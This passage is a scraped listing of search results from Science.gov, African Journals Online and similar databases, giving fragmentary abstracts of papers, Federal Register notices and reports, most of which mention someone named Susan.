15. Paracetamol, Ibuprofen, and Recurrent Major Cardiovascular and Major Bleeding Events in 19 120 Patients With Recent Ischemic Stroke. Science.gov (United States) Gonzalez-Valcarcel, Jaime; Sissani, Leila; Labreuche, Julien; Bousser, Marie-Germaine; Chamorro, Angel; Fisher, Marc; Ford, Ian; Fox, Kim M; Hennerici, Michael G; Mattle, Heinrich P; Rothwell, Peter M; Steg, Philippe Gabriel; Vicaut, Eric; Amarenco, Pierre 2016-04-01 The presumed safety of paracetamol in high-cardiovascular risk patients has been questioned. We determined whether paracetamol or ibuprofen use is associated with major cardiovascular events (MACE) or major bleeding in 19 120 patients with recent ischemic stroke or transient ischemic attack of mainly atherothrombotic origin included in the Prevention of cerebrovascular and cardiovascular events of ischemic origin with terutroban in patients with a history of ischemic stroke or transient ischemic attack (PERFORM) trial. We performed 2 nested case-control analysis (2153 cases with MACE during trial follow-up and 4306 controls matched on Essen stroke risk score; 809 cases with major bleeding matched with 1616 controls) and a separate time-varying analysis. 12.3% were prescribed paracetamol and 2.5% ibuprofen. Median duration of treatment was 14 (interquartile range 5-145) days for paracetamol and 9 (5-30) days for ibuprofen. Paracetamol, but not ibuprofen, was associated with increased risk of MACE (odds ratio 1.21, 95% confidence interval [CI] 1.04-1.42) or a major bleeding (odds ratio 1.60, 95% CI 1.26-2.03), with no impact of daily dose and duration of paracetamol treatment. Time-varying analysis found an increased risk of MACE with both paracetamol (hazard ratio 1.22, 95% CI 1.05-1.43) and ibuprofen (hazard ratio 1.47, 95% CI 1.06-2.03) and of major bleeding with paracetamol (hazard ratio 1.95, 95% CI 1.45-2.62). There was a weak and inconsistent signal for association between paracetamol or ibuprofen and MACE or major bleeding, which may be related to either a genuine but modest effect of these drugs or to residual confounding. http://www.isrctn.com. Unique identifier: ISRCTN66157730. © 2016 American Heart Association, Inc. 16. Malaria Genome Sequencing Project Science.gov (United States) 2004-01-01 UTTERBACK, TERESA RIGGS, FLORENCE VAN AKEN, SUSAN RIZZO, MICHAEL VISWANATHAN, LAKSHMI ROMERO , CALUDIA DEVI ROONEY, TIMOTHY VON ARX, ANNA RUCH, KAREN...Clark, R. Clark, C. Corton , well with the predictions from the optical map. Chromosome 13 is A. Cronin, R. Davies, P. Davis, P. Dear§, F. Dearden 17. Defense.gov Special Report: Feds Feed Families 2013 Science.gov (United States) Susan Fuller. Photo by Steve Lawson, Corporate Communications To date, DFAS Indianapolis Site Director Campaign Materials DOD FFF Flyer Logo Contacts Army: Steve Bickel Navy: Rama Latin Air Force: Carl Buchanan Biographies Organization Mission History Frequently Asked Questions Available jobs with DOD Top Issues 18. Part four: The research dissertation: planning, producing and writing a thesis. Science.gov (United States) Quick, J; Hall, S 2015-11-01 Dissertations have become common inclusions to postgraduate degrees in healthcare. To the novice researcher, undertaking an extensive project of this kind can appear daunting. In this final article in the series 'Spotlight on Research', Julie Quick and Susan Hall advise perioperative practitioners on how to plan, produce and write a research dissertation. Guidance is also given on disseminating the results from research studies. 19. Tanzania Journal of Health Research - Vol 20, No 2 (2018) African Journals Online (AJOL) Socio-demographic determinants of dengue infection during an outbreak in Dar es Salaam City, Tanzania · EMAIL FREE FULL TEXT EMAIL FREE FULL TEXT DOWNLOAD FULL TEXT DOWNLOAD FULL TEXT. Neema Camara, Billy Ngasala, Germana Leyna, Ahmed Abade, Susan F. Rumisha, Ndekya M. Oriyo, Leonard ... 20. Children's Need to Know: Curiosity in Schools Science.gov (United States) Engel, Susan 2011-01-01 In this essay, Susan Engel argues that curiosity is both intrinsic to children's development and unfolds through social interactions. Thus, it should be cultivated in schools, even though it is often almost completely absent from classrooms. Calling on well-established research and more recent studies, Engel argues that interactions between… 1. Reference Correction to: Making Air Pollution Visible: A Tool for Promoting Environmental Health Literacy. Science.gov (United States) Galkina Cleary, Ekaterina; Patton, Allison P; Wu, Hsin-Ching; Xie, Alan; Stubblefield, Joseph; Mass, William; Grinstein, Georges; Koch-Weser, Susan; Brugge, Doug; Wong, Carolyn 2017-12-20 [This corrects the article DOI: 10.2196/publichealth.7492.]. ©Ekaterina Galkina Cleary, Allison P Patton, Hsin-Ching Wu, Alan Xie, Joseph Stubblefield, William Mass, Georges Grinstein, Susan Koch-Weser, Doug Brugge, Carolyn Wong. Originally published in JMIR Public Health and Surveillance (http://publichealth.jmir.org), 20.12.2017. 2. ANALYSIS OR THE POTENTIAL SPERM BIOMARKER, SP22, IN HUMAN SEMEN Science.gov (United States) ANALYSIS OF THE POTENTIAL SPERM BIOMARKER SP22 IN HUMAN SEMEN Rebecca A. Morris Ph.D.1, Gary R. Klinefelter Ph.D.1, Naomi L. Roberts 1, Juan D. Suarez 1, Lillian F. Strader 1, Susan C. Jeffay 1 and Sally D. Perreault Ph.D.1 1 U.S. EPA / ORD / National Health a... 3. Fostering Helping Relationships: An Interview with W. Brad Johnson Science.gov (United States) 2017-01-01 There are many kinds of helping relationships--coaching, mentoring, psychotherapy, and others. In this interview with W. Brad Johnson, Susan Robison explores how some of his insights about mentoring can be applicable to other types of helping relationships, like coaching. Mentoring is viewed as a broader relationship, but does include many of the… 4. Isast, Pojast ja Pühast Arhitektuurist / Toivo Tammik Index Scriptorium Estoniae Tammik, Toivo 2006-01-01 Dokumentaalfilmist Saaremaalt pärit ameerika arhitektist Louis Kahnist "My Architect : A Son's Journey" (režissöör Nathaniel Kahn, produtsent Susan Behr, USA, 2003, 116 min.) ja viibimisest Philadelphias seoses Louis Kahni päevade ettevalmistamisega 5. Introverts Can Succeed with Cooperative Learning Science.gov (United States) Jacobs, George 2014-01-01 I was interested in reviewing Susan Cain's (2013) "Quiet: The Power of Introverts in a World That Can't Stop Talking" for two reasons. First, as an introvert I wanted to learn more about myself. Second, I wanted to explore Cain and others' criticism that group activities in the workplace and in education are unfair to introverts. This… 6. Steven Moffat and Sue Vertue visits CERN CERN Multimedia Caraban Gonzalez, Noemi 2016-01-01 Steven William Moffat, OBE is a Scottish television writer and producer, known for his work as showrunner, writer and producer of the British television series Doctor Who and Sherlock. Susan "Sue" Nicola Vertue is an English television producer, mainly of comedy shows, including Mr. Bean and Coupling. 7. 78 FR 67333 - Performance Review Board Membership Science.gov (United States) 2013-11-12 ... DEPARTMENT OF COMMERCE Performance Review Board Membership AGENCY: Economics and Statistics... eligible to serve on the Performance Review Board (PRB) in accordance with the Economics and Statistics.... Arnold William G. Bostic, Jr. Stephen B. Burke Joanne Buenzli Crane Susan R. Helper Ron S. Jarmin Enrique... 8. 75 FR 74007 - Federal Aquatic Nuisance Species Research Risk Analysis Protocol Science.gov (United States) 2010-11-30 ... site, http://anstaskforce.gov/documents.php . To obtain a hard copy of the Protocol, see Document... aquatic species that are the target of this risk analysis. Language used in the NANPCA differentiates...: http://anstaskforce.gov/documents.php Write: Susan Pasko, National Oceanic and Atmospheric... 9. Book Review \| Dunn-Coetzee \| Journal of Student Affairs in Africa African Journals Online (AJOL) Roberts, Dennis C. & Komives, Susan R. (Eds.) (2016). Enhancing Student Learning and Development in Cross- Border Higher Education. San Francisco: Jossey-Bass. Full Text: EMAIL FREE FULL TEXT EMAIL FREE FULL TEXT · DOWNLOAD FULL TEXT DOWNLOAD FULL TEXT · AJOL African Journals Online. 10. Phonological Networks and New Word Learning Science.gov (United States) Service, Elisabet 2006-01-01 The first report of a connection between vocabulary learning and phonological short-term memory was published in 1988 (Baddeley, Papagno, & Vallar, 1988). At that time, both Susan Gathercole and I were involved in longitudinal studies, investigating the relation between nonword repetition and language learning. We both found a connection. Now,… 11. Consequences of Inadequate Physical Activity Centers for Disease Control (CDC) Podcasts 2018-03-27 Listen as CDC Epidemiologist Susan Carlson, PhD, talks about her research, which estimates the percentage of US deaths attributed to inadequate levels of physical activity. Created: 3/27/2018 by Preventing Chronic Disease (PCD), National Center for Chronic Disease Prevention and Health Promotion (NCCDPHP). Date Released: 3/27/2018. 12. TB in Wild Asian Elephants Centers for Disease Control (CDC) Podcasts 2017-05-10 Dr. Susan Mikota, co-founder of Elephant Care International, discusses TB in wild Asian elephants. Created: 5/10/2017 by National Center for Emerging and Zoonotic Infectious Diseases (NCEZID). Date Released: 5/10/2017. 13. Action needed to help Cape Town adapt to climate change \| IDRC ... International Development Research Centre (IDRC) Digital Library (Canada) 2016-06-09 Jun 9, 2016 ... The impacts of climate change on the city of Cape Town, South Africa, are outlined in a new book, Climate Change at the City Scale. IDRC-supported researchers Anton Cartwright, Susan Parnell, Gregg Oelofse, and Sarah Ward argue that local governments and scientists need to work together to take ... 14. African Zoology - Vol 32, No 2 (1997) African Journals Online (AJOL) Metabolic rate and body temperature of an African sun bird, Nectarinia chalybea: daily rhythm and the effect of ambient temperature · EMAIL FREE FULL TEXT EMAIL FREE FULL TEXT · DOWNLOAD FULL TEXT DOWNLOAD FULL TEXT. Belle Leon, Susan W Nicolson ... 15. Making the Most of Multiple Choice Science.gov (United States) Brookhart, Susan M. 2015-01-01 Multiple-choice questions draw criticism because many people perceive they test only recall or atomistic, surface-level objectives and do not require students to think. Although this can be the case, it does not have to be that way. Susan M. Brookhart suggests that multiple-choice questions are a useful part of any teacher's questioning repertoire… 16. 75 FR 57974 - Senior Executive Service Performance Review Board Science.gov (United States) 2010-09-23 .... Crocetti Jr., Louis D. Cullen, Susan M. Cummiskey, Chris Daitch, William Davis, Delia P. Dayton, Mark de.... Armstrong, Charles R. Ayala, Janice Aytes, Michael L. Bacon, Roxana Baldwin, William D. Baroukh, Nader Barr... Brundage, William Bucella, Donna A. Bucher, Steven P. Buckingham, Patricia A. Burke, Richard Butcher... 17. Crowdsourced Geospatial Data: A Report on the Emerging Phenomena of Crowdsourced and User-Generated Geospatial Data Science.gov (United States) 2012-11-01 www.osmfoundation.org/wiki/Data_Working_Group. 126 Devillers, Rodolphe, Alfred Stein, Yvan Bédard, Nicholas Chrisman, Peter Fisher, and Wenzhong Shi...Francis, Peter J. Blancher, Susan R. Drennan, Mar- shall A. Howe, Denis Lepage, Chandler . S. Robbins, Kenneth V. Rosen- berg, John R. Sauer, and 18. 75 FR 1566 - Public Hearings for Reconsideration of the 2008 National Ambient Air Quality Standards for Ozone Science.gov (United States) 2010-01-12 ..., Moody Ballroom (located on the ground floor), 8181 Airport Boulevard, Houston, Texas 77061. Telephone... Standards for Ozone'' proposed rule should be addressed to Ms. Susan Lyon Stone, U.S. EPA, Office of Air... Park, NC 27711, telephone: (919) 541-1146, e-mail: stone[email protected] . SUPPLEMENTARY INFORMATION: The... 19. Ten Game-Changing Communications Steps for College and University Presidents Science.gov (United States) Jacobson, Susan 2016-01-01 In this article Susan Jacobson offers advice on connecting and leading as a college or university president, whether new to the job or with years of experience. The key, Jacobson says, is communicating. She explains that while it might sound obvious, the importance of reaching out, connecting, and building and maintaining relationships cannot be… 20. Enacted Realities in Teachers' Experiences: Bringing Materialism into Pragmatism Science.gov (United States) Sundström Sjödin, Elin; Wahlström, Ninni 2017-01-01 In this article we explore factors that constitute "the social" for the teacher Susan, which at the same time highlights ethical aspects of the exercise of her profession. We meet her in a situation where she is setting grades, and our interest focuses on the relations that become of concern for her in her professional task to give the… 1. MaliSheep10R2 rev19JanAM International Development Research Centre (IDRC) Digital Library (Canada) funds research projects that aim to solve immediate and concrete food security challenges in the developing world. For more information on this project, contact innocent Butare. Dakar. Senegal ([email protected]) or Susan Robertson. Ottawa. Canada. ([email protected]). For more information on the Fund, visit ... Science.gov (United States) Fermilab Friends for Science Education FFSE Home About Us Join Us Support Us Contact Us Contact Us Science Education P.O Box 500, MS 777 Batavia, IL 60510-5011 (630) 840-3094 fax: (630) 840-2500 E-mail : Membership Send all other communications to: Susan Dahl, President Fermilab Friends for Science Education Box 3. 75 FR 31812 - Receipt of Applications for Endangered Species Permits Science.gov (United States) 2010-06-04 ... Atlantic Ocean. Applicant: Carol Johnston, Auburn, Alabama, TE178666 The applicant requests authorization... the Indiana bat in Kentucky. Applicant: Susan Loeb, U.S. Forest Service, Clemson, South Carolina... bat in the following locations: Cherokee National Forest and Great Smoky Mountains National Park... 4. Solenoid pick-up problem in the CREN-K Triga Mark 2 reactor International Nuclear Information System (INIS) Malu wa Kalenga; Kobakozete Itono; Diazengwa Mpaka; Mampaka Mana Mouiny; Itio Momba 1981-01-01 During a lazy susan forty irradiation tube inspection with the specimen lifting device, the solenoid-operated specimen pick-up tool happened to be locked in the number fourteen position loading tube. The present paper describes the successful experiment which was carried out to solve a potential damaging situation for the safe and useful operation of the reactor. The first step in the investigation process was to ascertain what has indeed occurred in the reactor core to avoid any ill advised step which will worsen the situation. The alternatives were the following: a) The specimen tube was not lined with the loading tube; b) The lazy susan was not working properly due example to the fact that a roll pin in a drive shaft coupling inside the drive shaft tube has been broken; c) The pick-up tool has produced through the cleanout hole in the bottom of the specimen tube and engage the hole; d) The pick-up tool might have slided most of the way between the lazy susan and its housing. By moving up and down the pick-up tool and rotating back and forth the lazy susan it was possible to come to the conclusion that alternative c) was the most likely. It was not possible to release the pick-up tool because its engaging arms could not be activated as was often the case when lifting aluminium container 5. 75 FR 65648 - Notice of Proposed Withdrawal Extension and Opportunity for Public Meeting for the Peony, Pole... Science.gov (United States) 2010-10-26 ..., Pole Pick, and Frank Burge Seed Orchards; Washington AGENCY: Bureau of Land Management, Interior... functionality of the seed orchards, along with the investment of Federal funds at the Peony, Pole Pick, and.../Washington State Office, (503) 808-6189, or Susan Daugherty, USFS Pacific Northwest Region, (503) 808-2416... 6. Solenoid pick-up problem in the CREN-K Triga Mark 2 reactor Energy Technology Data Exchange (ETDEWEB) Malu wa Kalenga; Kobakozete Itono; Diazengwa Mpaka; Mampaka Mana Mouiny; Itio Momba (Commissariat des Sciences Nucleaires, Kinshasa (Zaire). Centre Regional d' Etudes Nucleaires) 1981-01-01 During a lazy susan forty irradiation tube inspection with the specimen lifting device, the solenoid-operated specimen pick-up tool happened to be locked in the number fourteen position loading tube. The present paper describes the successful experiment which was carried out to solve a potential damaging situation for the safe and useful operation of the reactor. The first step in the investigation process was to ascertain what has indeed occurred in the reactor core to avoid any ill advised step which will worsen the situation. The alternatives were the following: a) The specimen tube was not lined with the loading tube; b) The lazy susan was not working properly due example to the fact that a roll pin in a drive shaft coupling inside the drive shaft tube has been broken; c) The pick-up tool has produced through the cleanout hole in the bottom of the specimen tube and engage the hole; d) The pick-up tool might have slided most of the way between the lazy susan and its housing. By moving up and down the pick-up tool and rotating back and forth the lazy susan it was possible to come to the conclusion that alternative c) was the most likely. It was not possible to release the pick-up tool because its engaging arms could not be activated as was often the case when lifting aluminium container. 7. Interview with Peter Samis and Mimi Michaelson, Authors of "Creating the Visitor-Centered Museum" Science.gov (United States) Spero, Susan 2017-01-01 "Creating the Visitor-Centered Museum" offers insight into why and how 10 case study museums have transformed to serve the needs of their public. Susan Spero interviews authors Peter Samis and Mimi Michaelson about the purpose of the book, their case study choices, the key characteristics of visitor-centered institutions and their… 8. 75 FR 69160 - Quarterly Publication of Individuals, Who Have Chosen To Expatriate, as Required by Section 6039G Science.gov (United States) 2010-11-10 ... Kendall Teresa Kennedy Christin Susan Kim Chung H. Kim Hannah Boyoung Kim Johnny Han Kin Tse Wing Kiresepi... Ronald Lao Man Bee Lao Ruperto C. Laty Fabrice S. Lau Kwok Chu Lau Lawrence Juen-Yee Lau Megan Shirley... Po Polly Tsangrides Philippos Alexandros Tse Anthony Wai Chung Tse Christopher Tung Alan Leih-Sing... 9. Number of Physics Faculty in Two-Year Colleges: Results from the 2012 Survey of Physics in Two-Year Colleges. Focus On Science.gov (United States) White, Susan; Chu, Raymond 2013-01-01 In an earlier report, ("Physics Enrollments in Two-Year Colleges," ED547610), Susan White and Raymond Chu examined physics enrollments--both the number of students and the types of classes taught--at the 1,063 two-year college campuses in the US where they believe physics is offered. This "Focus On" considers the faculty… 10. Author Details African Journals Online (AJOL) Penning, Susan Louise. Vol 22, No 2 (2010) - Articles Research Paper Bullying boys: the traumatic effects of bullying in male adolescent learners. Abstract. ISSN: 1728-0591. AJOL African Journals Online. HOW TO USE AJOL... for Researchers · for Librarians · for Authors · FAQ's · More about AJOL · AJOL's Partners · Terms ... 11. A Narrative Model of Recovery \| Kelland \| South African Journal of ... African Journals Online (AJOL) In this paper I defend the suggestion that narratively understanding her experience of rape can help a survivor in her recovery from the harm that she has suffered. Susan Brison defends a similar suggestion, but, I argue, does not get all of the possible mileage out of narrative understanding because she does not explore ... Home; Journals; Sadhana. SHEFALI CHAND. Articles written in Sadhana. Volume 41 Issue 12 December 2016 pp 1393-1406. Image coding based on maximum entropy partitioning for identifying improbable intensities related to facial expressions · SEBA SUSAN NANDINI AGGARWAL SHEFALI CHAND AYUSH GUPTA. 13. 77 FR 27509 - Self-Regulatory Organizations; Municipal Securities Rulemaking Board; Order Approving Proposed... Science.gov (United States) 2012-05-10 ... September 30, 2010 (BDA Letter I''); Colette J. Irwin-Knott, CIPFA, President, National Association of... December 1, 2011 (BDA Letter II''); Susan Gaffney, Director, Federal Liaison Center, Government Finance... America, dated January 30, 2012 (BDA Letter III''); Colette J. Irwin-Knott, CIPFA, President, National... Science.gov (United States) Jones, Rebecca 2002-01-01 Reviews notable education books of 2001: "Not in Front of the Children" (Marjorie Heins); "The other Boston Busing Story" (Susan E. Eaton); "Another Planet" (Elinor Burkett); "Parents Under Siege" (James Garbarino and Claire Bedard); "Radical Equations" (Robert P. Moses and Charles E. Cobb, Jr.); "School" (Sheila Curran Bernard and Sarah Mondale);… 15. The Technology of Unequal Rights for Women: Patent Drawings of a Voting Machine Science.gov (United States) Hussey, Michael 2008-01-01 In 1878, Senator Aaron A. Sargent of California introduced to the Senate an amendment to the Constitution "Conferring upon Women the Right of Suffrage." Drafted by Susan B. Anthony, this same amendment would be introduced on a near-yearly basis until its final passage by Congress on May 19, 1919. Varying degrees of voting rights presented an… 16. Community-Based Prevalence Profile of Arboviral, Rickettsial, and Hantaan-Like Viral Antibody in the Nile River Delta of Egypt Science.gov (United States) 1993-01-01 presentation. Susan Hibbsfor assisting in the preparation of the data for presen- cates that the antibody response is strengthened tation. Dr. Atef Soliman...virus: a newly 630-633. recognized arthropod transmitted virus. AIntJ 3. Scott RM. Feinsod FNM, Allam IH. Ksiazek TG. Trop Med H * g 4: 844-862. Peters 17. Uued ja vanad ruumimängud / Reet Varblane Index Scriptorium Estoniae Varblane, Reet, 1952- 1998-01-01 Inglise-eesti ühisnäitus 'Private views : taas/avastatud ruum Eesti ja Briti kaasaegses kunstis' Rotermanni soolalaos. Kuraatorid Mare Tralla, Pam Skelton. Feminismist kui tähenduslikust ruumist. Eve Kiileri, Mari Koorti, Liina Siibi, Susan Brindi, Ene-Liis Semperi, Anu Juuraku, Naomi Dinesi, rühmituse F.F.F.F., kuraatorite esinemisest. 18. The Cyber Dimensions of the Syrian Civil War: Implications for Future Conflict Science.gov (United States) 2015-04-15 worldview of US cyber operations, which has recently been portrayed in an unflattering light after leaks by Edward Snowden .65 Many cyber...Christine Fox, Susan Lee, Mark Lewellyn, Thomas Mahnken, Peter Nanos, and Edward Smyth. About the Author Captain Edwin J. Grohe, a native of Milford 19. Primary Prevention Approaches to the Development of Mental Health Services for Ethnic Minorities: A Challenge to Social Work Education and Practice. Science.gov (United States) Miller, Samuel O., Ed.; And Others This monograph contains articles on mental health needs, experiences, and preventive social work programs in ethnic minority communities. An overview by Gwenelle Styles O'Neal reviews factors that influence the mental health of ethnic minorities and explores family and community support networks for alleviating stress. Susan Bellinger examines… 20. National CrossTalk. Volume 16, Number 1, Fall 2008 Science.gov (United States) Trombley, William, Ed. 2008-01-01 The primary purpose of "National CrossTalk" is to stimulate informed discussion and debate of higher education issues. This issue contains the following articles: (1) The Credit Crisis Goes to College: Upheaval in the Student-Loan Business Leaves Students and Parents Scrambling (Susan C. Thomson); (2) The Engaged University: Northern… 1. National CrossTalk. Volume 13, Number 4, Fall 2005 Science.gov (United States) Trombley, William, Ed. 2005-01-01 The primary purpose of "National CrossTalk" is to stimulate informed discussion and debate of higher education issues. This publication contains the following articles: (1) "Truth in Tuition" (Susan C. Thomson); (2) In Katrina's Wake (Kathy Witkowsky); (3) News from the Center: New Center Associates; (4) Colorado On the Edge… 2. Eliminate the "Bounce"! Science.gov (United States) Leigh, Susan 2016-01-01 The "bounce" (coined by students at Susan Leigh's last campus) refers to the amount of time students spent chasing signatures and removing often-unnecessary registration "holds" in order to attend their classes. Leigh explains that all this chaos from complex, separately housed transactional business processes has led to the… 3. A guide to innovation in informal settings \| IDRC - International ... International Development Research Centre (IDRC) Digital Library (Canada) 2012-11-06 Nov 6, 2012 ... Innovation in Informal Settings: A Research Agenda by Susan Cozzens and Judith Sutz presents a framework that can be used by researchers, ... will find this theoretical guide useful as it explores the five criteria of innovation: ... 4. Communicators take nine Virginia Press Women awards OpenAIRE Owczarski, Mark 2008-01-01 Three Virginia Tech communicators have won Virginia Press Women awards. The winners - Susan Trulove, research division communications manager; Clara Cox, university publications director; and Heather Riley Chadwick, College of Architecture and Urban Studies communication manager - were announced at the Virginia Press Women Annual Spring Conference in Staunton, Va. 5. Exploring the world of human development and reproduction. Science.gov (United States) Red-Horse, Kristy; Drake, Penelope M; Fisher, Susan 2014-01-01 Susan Fisher has spent her career studying human development, proteomics, and the intersection between the two. When she began studying human placentation, there had been extensive descriptive studies of this fascinating organ that intertwines with the mother's vasculature during pregnancy. Susan can be credited with numerous major findings on the mechanisms that regulate placental cytotrophoblast invasion. These include the discovery that cytotrophoblasts undergo vascular mimicry to insert themselves into uterine arteries, the finding that oxygen tension greatly effects placentation, and identifying how these responses go awry in pregnancy complications such as preeclamsia. Other important work has focused on the effect of post-translational modifications such as glycosylation on bacterial adhesion and reproduction. Susan has also forayed into the world of proteomics to identify cancer biomarkers. Because her work is truly groundbreaking, many of these findings inspire research in other laboratories around the world resulting in numerous follow up papers. Likewise, her mentoring and support inspires young scientists to go on and make their own important discoveries. In this interview, Susan shares what drove her science, how she continued to do important research while balancing other aspects of life, and provides insights for the next generation. 6. Remedial principles and meaningful engagement in education ... African Journals Online (AJOL) This article evaluates the meaningful engagement doctrine in the education rights jurisprudence of the Constitutional Court in the light of a set of normative principles developed by Susan Sturm for evaluating participatory public law remedies. It commences by identifying four principles for evaluating participatory remedies ... 7. Manipulating the Characteristics of Words and Nonwords to Better Understand Word Learning Science.gov (United States) Vitevitch, Michael S. 2006-01-01 The work of Susan Gathercole and others on nonword repetition has increased general interest in the relationship between memory and language, and has provided a fertile theoretical framework for researchers to explore how the language system makes use of the phonological loop, a component in Baddeley's (1986) working memory model. Gathercole… 8. Bodysuites and biodomes: The construction of the sonochronotopia ... African Journals Online (AJOL) I explore in this article the ways in which spatiotemporal construction through music plays a facilitating role in alleviating this perceived trauma. In circumscribing this process I have found the work of Susan Buck-Morss and Mikhail Bakhtin useful in approaching the overlapping 'symbolic' and 'material' discourses at play in ... 9. Validation of the Filovirus Plaque Assay for Use in Preclinical Studies Science.gov (United States) 2016-09-02 Journal 2015, volume, page–page 4 according to the experimental design. The culture medium in the 6-well plate was removed by swift decanting. Virus...authors would also like to thank Dennis Taylor for project management and coordination support of this research, and Donna Hering, Han Seung, Susan 10. 78 FR 23245 - FY2013 Supplemental Funding for Brownfields Revolving Loan Fund (RLF) Grantees Science.gov (United States) 2013-04-18 [email protected] . 94105, Phone (213) 244-1821 Fax (415) 972-3364. EPA Region 10, Susan Morales, AK, ID, OR, WA......... 1200 Sixth Avenue, Suite 900, Mailstop: ECL-112 Morales[email protected] . Seattle, WA 98101, Phone (206) 553-7299 Fax (206) 553-0124. Dated: April 11, 2013. David R. Lloyd, Director... 11. 77 FR 19192 - Circular Welded Carbon-Quality Steel Pipe From India: Preliminary Affirmative Countervailing Duty... Science.gov (United States) 2012-03-30 .... See Memorandum to Susan H. Kuhbach, Director, Office 1 from David Layton, International Trade Analyst... Provision of Hot-Rolled Steel by the Steel Authority of India (SAIL'') for Less Than Adequate Remuneration... the questions regarding land received at less than adequate remuneration, Zenith prevented us from... 12. 75 FR 9163 - Certain Seamless Carbon and Alloy Steel Standard, Line, and Pressure Pipe From the People's... Science.gov (United States) 2010-03-01 ..., International Trade Compliance Analyst, Office 1 to Susan H. Kuhbach, Director, Office 1, New Subsidy... rounds for less than adequate remuneration by the GOC. We requested information from the GOC about the... the owners, members of the board of directors, or managers of the suppliers who were also government... 13. 76 FR 64313 - Multilayered Wood Flooring From the People's Republic of China: Final Affirmative Countervailing... Science.gov (United States) 2011-10-18 ... Countervailing Duty Operations, from Susan H. Kuhbach, Office Director AD/CVD Operations, Office 1... provision of electricity for less than adequate remuneration, and 2) the countervailable subsidy rates for... Other Programs Comment 4 Provision of Electricity for Less Than Adequate Remuneration Comment 5... 14. Forum: Cultural Identity and (Dis)Continuities of Children of Immigrant Communities Science.gov (United States) Obsiye, Mohamed; Cook, Rachel 2016-01-01 Susan Harper's study centres on "funds of knowledge" as a pedagogical resource for the development of a science curriculum, drawing on Karen refugee parents' cultural knowledge and identity. She argues that engagement in this process helps the parent generation of this community to "rebuild their cultural resilience" and cope… 15. 78 FR 69885 - NASA Advisory Council; Aeronautics Committee; Meeting Science.gov (United States) 2013-11-21 ... NATIONAL AERONAUTICS AND SPACE ADMINISTRATION [Notice: 13-133] NASA Advisory Council; Aeronautics... Aeronautics and Space Administration announces a meeting of the Aeronautics Committee of the NASA Advisory... INFORMATION CONTACT: Ms. Susan L. Minor, Executive Secretary for the Aeronautics Committee, NASA Headquarters... 16. SSC San Diego Command History Calendar Year 2007 Science.gov (United States) 2008-03-01 Camargo , Sylvia Salazar, Karen Manley-Guerrero, Dina Demuth, Clay Oeholke, Gannon Graue, Dee Johnson, Erwin Mier, Hoa Nguyen. Navy Multiband Terminal...Davenport, Brian Devine, Greg Doriguzzi, Richard Felkins, John Fleming, Cheryl Francisco , Sid Graser, Eric Hillis, Craig LaMaster, Susan Manor, Joel 17. Beck PRIDE Center - An Effective Solution for Combat Injured Student Veterans Science.gov (United States) 2016-09-01 unknown reasons/unable to contact to reschedule (16). Treatment A and Treatment B lasted one hour. Participants were assessed after each session...consider doing work in this area. Have a great academic year! Sincerely, Susan Hanrahan, Dean College of Nursing and Health Professions 18. Military and Veterans Disability System. Pilot Has Achieved Some Goals, but Further Planning and Monitoring Needed Science.gov (United States) 2010-12-01 Member Subcommittee on Defense Committee on Appropriations House of Representatives The Honorable Chet Edwards Chairman The Honorable Zach Wamp...and Vanessa Taylor provided assistance with research methodology and data analysis. Bonnie Anderson, Rebecca Beale, Mark Bird, Brenda Farrell...Valerie Melvin, Patricia Owens, and Randall Williamson provided subject matter expertise. Susan Bernstein and Kathleen van Gelder provided writing 19. Reach for the Stars: Visions for Literacy Coaching Programs Science.gov (United States) DeFord, Diane 2012-01-01 This brief by the Literacy Coaching Clearinghouse is about reaching for the stars--stories of vision and commitment from educators in small and large schools. Everyone knows of people who are held up as "visionaries" throughout history: Leonardo Da Vinci, Mahatma Gandhi, Jules Verne, Thomas Edison, Susan Anthony, or John Dewey, to name a few. The… 20. Environmental Investigations and Analyses for Los Angeles-Long Beach Harbors, Los Angeles, California, 1973-1976. Science.gov (United States) 1976-12-01 Christine Yonai Fred Piltz Ichthyology Jay Carroll Karl Lyde John Helle Scott Ralston S. Ishikawa Steve Subber Catherine Kusick Catherine Terry...Charles Greaves Catherine Link Susan Harrison Julie Thompson Kaoru 0. Kendis Ismay Stanley Randall Kendis Marine Technicians Bruce Adams Gene Mummert 1. The Politics and Possibilities of Activism in Contemporary Feminist Psychologies Science.gov (United States) Liebert, Rachel; Leve, Michelle; Hui, Amber 2011-01-01 The authors facilitated a structured discussion on transgenerational activism at the 2011 meeting of the Association of Women in Psychology (AWP). Their discussion there had been sparked by an essay recently published by "Harpers" magazine in which Susan Faludi (2010) characterized a generational strife among the feminist "waves." Still catalyzed… 2. Fermilab Education Office - Contacts Science.gov (United States) Search The Office of Education and Public Outreach: Contacts All telephone numbers require area code Presentations for Presenters 840-3094 Office of Education and Public Outreach Spencer Pasero [email protected] Education Office 840-3076 Fermilab Friends for Science Education General Questions Susan Dahl [email protected] 3. Keeping Them out of the Hands of the State: Two Critiques of Christian Schools. Science.gov (United States) Appleby, Scott R. 1989-01-01 Discusses historical aspects of the Christian school movement in the past century as it evolved into one of the fastest-growing branches of private education in America. Compares and contrasts salient themes from Alan Peshkin's profile of a Fundamentalist academy in Illinois and Susan Rose's comparative analysis of a charismatic day school and a… 4. 75 FR 29545 - Ocean Transportation Intermediary License Applicants Science.gov (United States) 2010-05-26 .... Atlantic Cargo Logistics LLC (OFF & NVO), 120 South Woodland Blvd., 216, Deland, FL 32720. Officers: Dietmar Lutte, Manager, (Qualifying Individual) Susan Lutte, Member, Application Type: New OFF & NVO License. Direct Delivery Logistics and Supply, LLC (OFF & NVO) 2006 Wilson Road, Humble, TX 77396... 5. Nime võimust : naine või artishokk / Leena Kurvet-Käosaar Index Scriptorium Estoniae Kurvet-Käosaar, Leena, 1969- 2003-01-01 Tagasivaade naisrežissööride filmifestivalile Helsingis. Lähemalt 4 mängufilmist : itaallanna Monica Stambrini "Benzina" (2001), inglanna Lynne Ramsay "Morvern Callar" (2002), prantslanna Sophie Tatscheffi "Baarilett" (1997) ja iraani päritolu rootsi režissööri Susan Taslimi "All Hell Let Loose" (2002) 6. 75 FR 37990 - Airworthiness Directives; Ontic Engineering and Manufacturing, Inc. Propeller Governors, Part... Science.gov (United States) 2010-07-01 ...-mail: [email protected] ; telephone (818) 725-2323; fax (818) 725-2535; or e-mail: [email protected] 91311, e-mail: [email protected] ; telephone (818) 725-2323; fax (818) 725-2535; or e-mail: Susan... 7. Pilot-in-the-Loop CFD Method Development Science.gov (United States) 2017-04-20 separate computers providing Image Generation, interface with the control loading system, cockpit instrument displays, and the math model of the...Dynamics Specialist Naval Air Systems Command Code 4.3.2.1 Applied Aerodynamics & 